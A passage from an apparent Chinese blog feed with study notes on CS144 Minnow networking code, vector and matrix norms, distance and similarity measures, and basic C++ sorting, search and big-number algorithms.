&#123; <span class="string">&quot;10.0.0.192&quot;</span> &#125; ) );</span><br><span class="line">    router.<span class="built_in">add_route</span>( Address &#123; <span class="string">&quot;192.168.0.0&quot;</span> &#125;.<span class="built_in">ipv4_numeric</span>(), <span class="number">16</span>, &#123;&#125;, host_side );</span><br><span class="line">    router.<span class="built_in">add_route</span>( Address &#123; <span class="string">&quot;10.0.0.0&quot;</span> &#125;.<span class="built_in">ipv4_numeric</span>(), <span class="number">8</span>, &#123;&#125;, internet_side );</span><br><span class="line">    router.<span class="built_in">add_route</span>( Address &#123; <span class="string">&quot;172.16.0.0&quot;</span> &#125;.<span class="built_in">ipv4_numeric</span>(), <span class="number">12</span>, Address &#123; <span class="string">&quot;10.0.0.172&quot;</span> &#125;, internet_side );</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    host_side = router.<span class="built_in">add_interface</span>( <span class="built_in">make_shared</span>&lt;NetworkInterface&gt;(</span><br><span class="line">      <span class="string">&quot;host_side&quot;</span>, router_to_host, <span class="built_in">random_router_ethernet_address</span>(), Address &#123; <span class="string">&quot;172.16.0.1&quot;</span> &#125; ) );</span><br><span class="line">    internet_side = router.<span class="built_in">add_interface</span>( <span class="built_in">make_shared</span>&lt;NetworkInterface&gt;(</span><br><span class="line">      <span class="string">&quot;internet side&quot;</span>, router_to_internet, <span class="built_in">random_router_ethernet_address</span>(), Address &#123; <span class="string">&quot;10.0.0.172&quot;</span> &#125; ) );</span><br><span class="line">    router.<span class="built_in">add_route</span>( Address &#123; <span class="string">&quot;172.16.0.0&quot;</span> &#125;.<span class="built_in">ipv4_numeric</span>(), <span class="number">12</span>, &#123;&#125;, host_side );</span><br><span class="line">    router.<span class="built_in">add_route</span>( Address &#123; <span class="string">&quot;10.0.0.0&quot;</span> &#125;.<span class="built_in">ipv4_numeric</span>(), <span class="number">8</span>, &#123;&#125;, internet_side );</span><br><span class="line">    router.<span class="built_in">add_route</span>( Address &#123; <span class="string">&quot;192.168.0.0&quot;</span> &#125;.<span class="built_in">ipv4_numeric</span>(), <span class="number">16</span>, Address &#123; <span class="string">&quot;10.0.0.192&quot;</span> &#125;, internet_side );</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure><p>和上面图片一样。</p><p>配置客户端或者服务器</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* set up the client */</span></span><br><span class="line">  TCPSocketEndToEnd sock = is_client ? TCPSocketEndToEnd &#123; Address &#123; <span class="string">&quot;192.168.0.50&quot;</span> &#125;, Address &#123; <span class="string">&quot;192.168.0.1&quot;</span> &#125; &#125;</span><br><span class="line">                                     : TCPSocketEndToEnd &#123; Address &#123; <span class="string">&quot;172.16.0.100&quot;</span> &#125;, Address </span><br></pre></td></tr></table></figure><p>一个地址为其ip地址，另一个是下一跳地址。</p><p>然后设置网络的各种事件：</p><ul><li>主机到路由器</li><li>路由器到主机</li><li>路由器到网络</li><li>网络到路由器 ，然后转到网络接口，再由路由器网络接口转入主机网络接口，再由适配器读入，然后TCPMinnowSocket读入，和之前一样。</li></ul><p>新定义的TCPSocketEndToEnd连接了主机和路由（一对套接字），使用UDPSocket连接 连接远程终端（网络）。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span> ( <span class="literal">true</span> ) &#123;</span><br><span class="line">       <span class="keyword">if</span> ( EventLoop::Result::Exit == event_loop.<span class="built_in">wait_next_event</span>( <span class="number">10</span> ) ) &#123;</span><br><span class="line">         cerr &lt;&lt; <span class="string">&quot;Exiting...\n&quot;</span>;</span><br><span class="line">         <span class="keyword">return</span>;</span><br><span class="line">       &#125;</span><br><span class="line">       router.<span class="built_in">interface</span>( host_side )-&gt;<span class="built_in">tick</span>( <span class="number">10</span> );</span><br><span class="line">       router.<span class="built_in">interface</span>( internet_side )-&gt;<span class="built_in">tick</span>( <span class="number">10</span> );</span><br><span class="line"></span><br><span class="line">       <span class="keyword">if</span> ( exit_flag ) &#123;</span><br><span class="line">         <span class="keyword">return</span>;</span><br><span class="line">       &#125;</span><br><span class="line">     &#125;</span><br></pre></td></tr></table></figure><p>这里为接口记录时间。</p><p>可以看出TCP实际传送是通过 <strong>TCP-in-IP-Ethernet-UDP</strong> 方法。</p><p>将其当做 <strong>UDP</strong> 数据报 进行传输。因为UDP是不可靠传输，如果传输过程中发生损坏，就可以通过我们实现的<strong>TCP</strong> 来进行纠错检测等等操作，来保证数据的正确传输。</p>]]>
    </content>
    <id>http://example.com/2025/03/18/CS144%E7%95%AA%E5%A4%96/</id>
    <link href="http://example.com/2025/03/18/CS144%E7%95%AA%E5%A4%96/"/>
    <published>2025-03-18T00:00:00.000Z</published>
    <summary>
      <![CDATA[<p>由于之前赶着做CS144，一直没有把Minnow的源代码好好看看，现在有时间了，准备将代码逻辑缕缕，看看是如何将包从发送方发出，并一步步到达接收方。</p>]]>
    </summary>
    <title>CS144 番外</title>
    <updated>2026-04-07T13:39:04.711Z</updated>
  </entry>
  <entry>
    <author>
      <name>John Doe</name>
    </author>
    <category term="网安数基笔记" scheme="http://example.com/categories/%E7%BD%91%E5%AE%89%E6%95%B0%E5%9F%BA%E7%AC%94%E8%AE%B0/"/>
    <category term="数学" scheme="http://example.com/tags/%E6%95%B0%E5%AD%A6/"/>
    <content>
      <![CDATA[<p>3333333</p><span id="more"></span><h3 id="范数（“长度”）"><a href="#范数（“长度”）" class="headerlink" title="范数（“长度”）"></a>范数（“长度”）</h3><p><strong>定义1</strong>：设$||\cdot||$为向量空间$R_{n}$ 的实值函数满足：<br>$1^o,$ 非负性:<br>$$ ||x|| \geq 0 $$<br>其中，$||x||&#x3D;0 \iff x &#x3D; 0$<br>$2^o,$ 齐次性：<br>$$\forall k\in R,||kx|| &#x3D; |k| ||x||$$<br>$3^o,$ 三角不等式：<br>$$||x+y||\leq ||x|| + ||y||$$<br>则把$||\cdot||$称为向量范数。<br><strong>常用的向量范数</strong>  </p><p>$x&#x3D;(x_{1},x_2,\cdots,x_n)^T$<br>$1^o,$ 0-范数:<br>$${||x||}<em>0 &#x3D; n$$<br>其中n为x中非零元素的个数。<br>$2^o,$ 1-范数:<br>$${||x||}<em>1 &#x3D; \sum</em>{i&#x3D;1}^n|x_i|$$<br>$3^o,$ 2-范数:<br>$$||x||<em>2 &#x3D; \sqrt{\sum</em>{i&#x3D;1}^nx_i^2}$$<br>$4^o,$ $\infty$-范数:<br>$$<br>||x||</em>\infty &#x3D; \max_{1 \leq i \leq n}|x_i|<br>$$<br><strong>定理</strong> (范数的等价性)<br>$$<br>\begin{array}{ccccc}<br>m||\cdot||<em>{P_2} &amp; \leq &amp; || \cdot ||</em>{P_{1}} &amp; \leq &amp; M||\cdot||<em>{P_2} \<br>||x||</em>\infty &amp; \leq &amp; ||x||<em>1 &amp; \leq &amp; n||x||</em>\infty \<br>||x||<em>\infty &amp; \leq &amp; ||x||<em>2 &amp; \leq &amp; \sqrt{n}||x||</em>\infty<br>\end{array}<br>$$<br><strong>定义2（矩阵范数)</strong> $A &#x3D; (a</em>{ij})m*n$<br>满足定义1的三个条件且 $||AB|| \leq ||A||\cdot||B||$<br>常用的矩阵范数<br>1-范数(列) $||A|| &#x3D; \max_{1 \leq j \leq n}\sum_{i&#x3D;1}^{m}|a_{ij}|$<br>$\infty$-范数(行) $||A|| &#x3D; \max_{1 \leq i \leq m}\sum_{i&#x3D;1}^n|a_{ij}|$<br>2-范数(谱) $||A|| &#x3D; \max|A_TA的本征值|$<br>F-范数 $||A||<em>F &#x3D; (\sum</em>{j&#x3D;1}^n\sum_{i&#x3D;1}^m|a_{ij}^2)^{\frac{1}{2}}$  </p><p>矩阵常数可由向量范数诱导而得(相容性)  </p><h3 id="范数诱导的距离"><a href="#范数诱导的距离" class="headerlink" title="范数诱导的距离"></a>范数诱导的距离</h3><p>注:<em>距离满足定义1的三个条件且满足对称性(A到B的距离等于B到A的距离)。</em><br><strong>定义3</strong>（闵可夫斯基距离）有$x &#x3D; (x_1,x_2,\cdots,x_n)<em>T,y&#x3D;(y_1,y_2,\cdots,y_n)<em>T$<br>$$<br>{\alpha}<em>P(x,y) &#x3D; (\sum</em>{i&#x3D;1}^n|x_i-y_i|^P)^{\frac{1}{p}}<br>$$<br>$1^o,$ P &#x3D; 2 \ 欧几里得距离<br>$2^o,$ P &#x3D; 1 \ 曼哈顿距离 正南正北”导航”距离。<br>$3^o,$ $P &#x3D; \infty$ 切比雪夫距离 ：<br>$$\alpha_P(x,y) &#x3D; \max</em>{1 \leq i \leq n}|x_i-y_i|$$<br>老师举了个例子即：国际象棋king移动到其他位置的最快路径长度。<br>如图：<br><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407205837652.jpg"><br>曼哈顿距离为7，切比雪夫距离为7。<br>$4^o,$ p &#x3D; 0 \ 汉明重量(即$x_i &#x3D; y_i$)：<br>$$\alpha_0(x,y) &#x3D; \sum</em>{i&#x3D;1}^n(x_i-y_i)^0$$<br><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407205900696.jpg" alt="3位二进制数"></p><p><strong>定义(莱文斯坦&#x2F;字符串距离)</strong> 从一个字符串变为另一个字符串的步数。<br>e.g. $safe -&gt; security$ 使用了7步。<br>**定义(推土机距离)**从一个概率分布变为另一个概率分布的最快步<br>**定义(堪培拉距离)**加权的曼哈顿<br>$$\alpha_{can}(x,y) &#x3D; \sum_{i&#x3D;1}^n\frac{|x_i-y_i|}{|x_i+y_i|}$$</p><h3 id="相似度"><a href="#相似度" class="headerlink" title="相似度"></a>相似度</h3><p>不是距离，定义1的前两个条件。<br><strong>定义(余弦相似度)</strong> $\Sim_\cos(x,y) &#x3D; \frac{x\cdot y}{||x||\cdot ||y||}<br><strong>定义(皮尔逊相关系数)</strong> $x &#x3D; (x_1,\cdots,x_n)^T,y &#x3D; (y_1,\cdots,y_n)^T$<br>$$\rho_{x,y} &#x3D; \frac{Cov(x,y)}{\sigma_x\sigma_y} &#x3D; \frac{E[(x-\mu_x)(y-\mu_y)]}{\sigma_x\sigma_y}$$<br>e.g.<br>Alice 给Bob发送序列 第一次为$x &#x3D; (80,85,90,75,95)^T$ ,第二次为$y &#x3D; (70,75,85,60,90)^T$<br>计算得到$\mu_x&#x3D;85,\mu_y &#x3D; 76,Cov(x,y) &#x3D; 75,\sigma_x&#x3D;7.07,\sigma_y&#x3D;10.68,\rho_{x,y} &#x3D; 0.997$。<br>$\rho_{x,y}$接近于1，说明具有强线性正相关。</p><p><strong>定义（斯皮尔曼相关系数）</strong><br>$$\rho_{x,y} &#x3D; \frac{\sum_{i&#x3D;1}^n(R(x_i)-\overline{R(x)})(R(y_i)-\overline{R(y)})}{\sqrt{(\frac{1}{n}\sum_{i&#x3D;1}^{n}(R(x_i)-\overline{R(x)}))(\frac{1}{n}\sum_{i&#x3D;1}^n(R(y_i)-\overline{R(y)}))}}$$<br>R表示位次,简化版如下：<br>$$\rho_{x,y} &#x3D; 1-\frac{6\cdot\sum_{i&#x3D;1}^nd_i^2}{n(n^2-1)}$$</p><p><strong>定义(杰拉德定理)</strong><br>$X &#x3D; {x_1,\cdots,x_n}, Y &#x3D; {y_1,\cdots,y_n}$  二进制字符串<br>$$\rho_j(X,Y) &#x3D; \frac{|X\cap Y|}{|X\cup Y|}$$<br><strong>定义(Sorensen-Dice指数)</strong> 文本分类和图像处理<br>$$\rho_s(X,Y) &#x3D; \frac{2\cdot |X\cap Y|}{|X|+|Y|}$$</p>]]>
    </content>
    <id>http://example.com/2024/03/14/%E8%8C%83%E6%95%B0%E3%80%81%E8%B7%9D%E7%A6%BB%E4%B8%8E%E7%9B%B8%E4%BC%BC%E5%BA%A6/</id>
    <link href="http://example.com/2024/03/14/%E8%8C%83%E6%95%B0%E3%80%81%E8%B7%9D%E7%A6%BB%E4%B8%8E%E7%9B%B8%E4%BC%BC%E5%BA%A6/"/>
    <published>2024-03-14T15:57:00.000Z</published>
    <summary>
      <![CDATA[<p>3333333</p>]]>
    </summary>
    <title>范数、距离与相似度</title>
    <updated>2026-04-07T13:39:04.711Z</updated>
  </entry>
  <entry>
    <author>
      <name>John Doe</name>
    </author>
    <category term="Algorithm" scheme="http://example.com/categories/Algorithm/"/>
    <content>
      <![CDATA[<p>学习基础算法</p><span id="more"></span><h1 id="排序"><a href="#排序" class="headerlink" title="排序"></a>排序</h1><h2 id="快排"><a href="#快排" class="headerlink" title="快排"></a>快排</h2><p>找一个基准x，然后将小于x的拉到其左侧，大于x的拉到其右侧，然后递归。其核心思想是分治。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;iostream&gt;</span><br><span class="line"></span><br><span class="line">using namespace std;</span><br><span class="line"></span><br><span class="line">const int N = 1e6 +10;</span><br><span class="line">int n;</span><br><span class="line">int q[N];</span><br><span class="line"></span><br><span class="line">void quick_sort(int q[],int l,int r)</span><br><span class="line">&#123;</span><br><span class="line">    if(l&gt;=r)return ;</span><br><span class="line">    </span><br><span class="line">    int x = q[(l+r)/2],i=l-1,j=r+1; // -1和+1是细节</span><br><span class="line">    </span><br><span class="line">    while(i&lt;j)&#123;</span><br><span class="line">        while(x&gt;q[++i]);// 先加，后比较</span><br><span class="line">        while(x&lt;q[--j]); if(i&lt;j)swap(q[i],q[j]);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    quick_sort(q,l,j);</span><br><span class="line">    quick_sort(q,j+1,r);</span><br><span class="line">    </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">int main()&#123;</span><br><span class="line">    scanf(&quot;%d&quot;,&amp;n);</span><br><span class="line">    for(int i=0; i&lt;n; i++) scanf(&quot;%d&quot;,&amp;q[i]);</span><br><span class="line">    </span><br><span class="line">    quick_sort(q,0,n-1);</span><br><span class="line">    </span><br><span class="line">    for(int i=0; i&lt;n; i++) printf(&quot;%d &quot;,q[i]);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="归并排序"><a href="#归并排序" class="headerlink" title="归并排序"></a>归并排序</h2><p>核心也是分治，不过和快排不同的是自低向上排序。</p><p>代码如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;iostream&gt;</span><br><span class="line">using namespace std;</span><br><span class="line"></span><br><span class="line">const unsigned maxn = 100010;</span><br><span class="line"></span><br><span class="line">int temp[maxn];</span><br><span class="line">int arr[maxn];</span><br><span class="line"></span><br><span class="line">void gsort(int arr[],int l,int r)&#123;</span><br><span class="line">    if( l&gt;=r)return;</span><br><span class="line">    </span><br><span class="line"></span><br><span class="line">    int mid = l+r &gt;&gt; 1;</span><br><span class="line">    </span><br><span class="line">    gsort(arr,l,mid);</span><br><span class="line">    gsort(arr,mid+1,r);</span><br><span class="line">    </span><br><span class="line">    int i=l,j=mid+1,k=l;</span><br><span class="line">    while(i &lt;= mid &amp;&amp; j &lt;= r)&#123;</span><br><span class="line">        if(arr[i]&lt;arr[j]) temp[k++] = arr[i++];</span><br><span class="line">        else temp[k++] = arr[j++];</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    while(i &lt;= mid )temp[k++]=arr[i++];</span><br><span class="line">    while(j &lt;=r )temp[k++] = arr[j++];</span><br><span class="line">    </span><br><span class="line">    // for(int i=0;i &gt;= 0 &amp;&amp; i&lt;= r; i++) printf(&quot;%d&quot;,arr[i]);</span><br><span class="line">    // //printf(&quot;\t&quot;);</span><br><span class="line">    // // for(int i=0;i &gt;= 0 &amp;&amp; i&lt;= r; i++) printf(&quot;%d&quot;,temp[i]);</span><br><span class="line">    </span><br><span class="line">    </span><br><span class="line">    </span><br><span class="line">    // printf(&quot;\tl=%d&quot;,l);</span><br><span class="line">    // printf(&quot;\n&quot;);</span><br><span class="line">    </span><br><span class="line">    i = l;</span><br><span class="line">    while(i &lt;= r)&#123;</span><br><span class="line">        arr[i]=temp[i];</span><br><span class="line">        i++;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">int main()&#123;</span><br><span class="line">    int n;</span><br><span class="line">    scanf(&quot;%d&quot;,&amp;n);</span><br><span class="line"></span><br><span class="line">    for(int i=0; i&lt;n; i++)scanf(&quot;%d&quot;,&amp;arr[i]);</span><br><span class="line">    </span><br><span class="line">    gsort(arr,0,n-1);</span><br><span class="line">    </span><br><span class="line">    </span><br><span class="line">    for(int i=0; i&lt;n; i++)</span><br><span class="line">        cout&lt;&lt; arr[i] &lt;&lt; &#x27; &#x27; ;</span><br><span class="line">    </span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="练习"><a href="#练习" class="headerlink" title="练习"></a>练习</h3><p>逆序对数量  <a href="https://www.acwing.com/solution/content/5508/">https://www.acwing.com/solution/content/5508/</a><br>两个元素分别在左和右比较难想。</p><h1 id="查找算法"><a href="#查找算法" class="headerlink" title="查找算法"></a>查找算法</h1><h2 id="二分"><a href="#二分" class="headerlink" title="二分"></a>二分</h2><p>重点是找到区分条件。整数二分还要注意边界问题。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;iostream&gt;</span><br><span class="line"></span><br><span class="line">using namespace std;</span><br><span class="line">const int N = 1e5 + 10;</span><br><span class="line">int arr[N];</span><br><span class="line"></span><br><span class="line">int main()&#123;</span><br><span class="line">    int n,q;</span><br><span class="line">    scanf(&quot;%d%d&quot;,&amp;n,&amp;q);</span><br><span class="line">    for(int i=0; i&lt;n; i++) scanf(&quot;%d&quot;,&amp;arr[i]);</span><br><span class="line">    </span><br><span class="line">    while(q--)&#123;</span><br><span class="line">        int x;</span><br><span class="line">        scanf(&quot;%d&quot;,&amp;x);</span><br><span class="line">        </span><br><span class="line">        int l = 0,r = n-1;</span><br><span class="line">        while(l &lt; r)&#123;</span><br><span class="line">            int mid = l+r &gt;&gt; 1;</span><br><span class="line">            if(arr[mid] &lt; x)l = mid + 1;</span><br><span class="line">            else r = mid;</span><br><span class="line">        &#125;</span><br><span class="line">        if(arr[l] != x)cout &lt;&lt; &quot;-1 -1&quot; &lt;&lt; endl;</span><br><span class="line">        else &#123;</span><br><span class="line">            cout &lt;&lt; l;</span><br><span class="line">            l = 0, r = n-1;</span><br><span class="line">            while (l &lt; r)&#123;</span><br><span class="line">                int mid = l+r+1 &gt;&gt; 1;</span><br><span class="line">                if(arr[mid] &gt; x) r = mid - 1;</span><br><span class="line">                else l = mid;</span><br><span class="line">            &#125;</span><br><span class="line">            cout &lt;&lt; &#x27; &#x27; &lt;&lt; l &lt;&lt; endl; </span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    </span><br><span class="line">    return 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="高精度"><a href="#高精度" class="headerlink" title="高精度"></a>高精度</h1><h2 id="加法"><a href="#加法" class="headerlink" title="加法"></a>加法</h2><p><em>用数组表示一个大数：最低位放在数组的0位置，次低位放在数组的1位置，其他位以此类推。这样从低位向高位摆放的原因是，便于进位，否则进位到新位时要移动n次。由于加减乘除通常混合，所以加减乘除的数都采用这种方法进行存储。</em>   </p><p>每一位数字 $C_{i}$ 和 数组A的数字$A_{i}$ , 数组B的数字$B_{i}$ 和 进位 $r_{i-1}$的关系如下:<br>$$ C_{i} &#x3D; (A_{i} + B_{i}+ r_{i-1})%10$$<br>$$ r_{i} &#x3D; (A_{i} + B_{i}+ r_{i-1})&#x2F;10$$</p><p>代码如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;vector&gt;</span><br><span class="line">#include&lt;iostream&gt;</span><br><span class="line">using namespace std;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">vector&lt;int&gt; add(vector&lt;int&gt; &amp; A,vector&lt;int&gt; &amp;B)&#123;</span><br><span class="line">    if(A.size()&lt; B.size())return add(B,A);</span><br><span class="line">    </span><br><span class="line">    vector&lt;int&gt; C;</span><br><span class="line">    int t=0;</span><br><span class="line">    for(int i=0; i&lt; A.size(); i++)&#123;</span><br><span class="line">        t += A[i];</span><br><span class="line">        if(i &lt; B.size()) t+= B[i];</span><br><span class="line">        C.push_back(t % 10);</span><br><span class="line">        t /= 10;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    if(t)C.push_back(1);</span><br><span class="line">    return C;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">int main()&#123;</span><br><span class="line">    vector&lt;int&gt; A,B;</span><br><span class="line">    string a,b;</span><br><span class="line">    cin &gt;&gt; a &gt;&gt; b;</span><br><span class="line">    </span><br><span class="line">    for(int i=a.size() -1 ; i&gt;=0; i--)A.push_back(a[i]-&#x27;0&#x27;);</span><br><span class="line">    for(int i=b.size() -1 ; i&gt;=0; i--)B.push_back(b[i]-&#x27;0&#x27;);</span><br><span class="line">    </span><br><span class="line">    auto C = add(A,B);</span><br><span class="line">    </span><br><span class="line">    for(int i=C.size()-1; i&gt;=0; i--)printf(&quot;%d&quot;,C[i]);</span><br><span class="line">    </span><br><span class="line">    return 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="减法"><a href="#减法" class="headerlink" title="减法"></a>减法</h2><p>借位$r_{i-1}$ ,结果数组C的数字$C_{i}$,被减数的数字$A_{i}$ 和 减数的数字$B_{i}$的关系如下：<br>$$ C_{i} &#x3D; (A_{i} + r_{i-1} - B_{i} + 10)%10 $$<br>$$<br>r_{i} &#x3D; \left{<br>\begin{array}{rcl}<br> 0 &amp; &amp;  A_{i} + r_{i-1} - B_{i} &gt;&#x3D; 0 \<br> 1 &amp; &amp; A_{i} + r_{i-1} - B_{i} &lt; 0<br> \end{array}\right.<br>$$<br>代码如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;iostream&gt;</span><br><span class="line">#include&lt;vector&gt;</span><br><span class="line">using namespace std;</span><br><span class="line"></span><br><span class="line">vector&lt;int&gt; sub(vector&lt;int&gt; &amp;A,vector&lt;int&gt; &amp;B)&#123;</span><br><span class="line">    vector&lt;int&gt; C;</span><br><span class="line">    </span><br><span class="line">    for(int i = 0,t = 0;i &lt; A.size(); i++)&#123;</span><br><span class="line">        t = A[i] - t;</span><br><span class="line">        if(i &lt; B.size()) t -= B[i];</span><br><span class="line">        C.push_back((10 + t) % 10);</span><br><span class="line">        if(t &lt; 0) t = 1;</span><br><span class="line">        else t = 0;</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">    while(C.size() &gt; 1 &amp;&amp; C.back() == 0) C.pop_back();</span><br><span class="line">    return C;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">// 判断 A是否 &gt;= B</span><br><span class="line">bool cmp(vector&lt;int&gt; &amp;A, vector&lt;int&gt; &amp;B)&#123;</span><br><span class="line">    if(A.size() != B.size()) return A.size() &gt;= B.size();</span><br><span class="line">    for(int i= A.size()-1 ; i&gt;=0; i--)&#123;</span><br><span class="line">        if(A[i] != B[i])</span><br><span class="line">            return A[i] &gt;= B[i];</span><br><span class="line">    &#125;</span><br><span class="line">    return true;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">int main()&#123;</span><br><span class="line">    vector&lt;int&gt; A,B;</span><br><span class="line">    string a,b;</span><br><span class="line">    cin &gt;&gt; a &gt;&gt; b;</span><br><span class="line">    </span><br><span class="line">    for(int i=a.size()-1; i&gt;=0; i--)A.push_back(a[i]-&#x27;0&#x27;);</span><br><span class="line">    for(int i=b.size()-1; i&gt;=0; i--)B.push_back(b[i]-&#x27;0&#x27;);</span><br><span class="line">    </span><br><span class="line">    if(cmp(A,B))&#123;</span><br><span class="line">        auto C = sub(A,B);</span><br><span class="line">        for(int i=C.size() - 1; i&gt;=0; i--) printf(&quot;%d&quot;,C[i]);</span><br><span class="line">    &#125;else&#123;</span><br><span class="line">        auto C = sub(B,A);</span><br><span class="line">        printf(&quot;-&quot;);</span><br><span class="line">        for(int i=C.size() - 1; i&gt;=0; i--) printf(&quot;%d&quot;,C[i]);</span><br><span class="line">    &#125;</span><br><span class="line">    return 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="乘法"><a href="#乘法" class="headerlink" title="乘法"></a>乘法</h2><p>将一个高精度数A乘以另一个较小数b，方法是将高精度数的每一位乘以b，然后进位，类似加法。</p><p>代码如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span 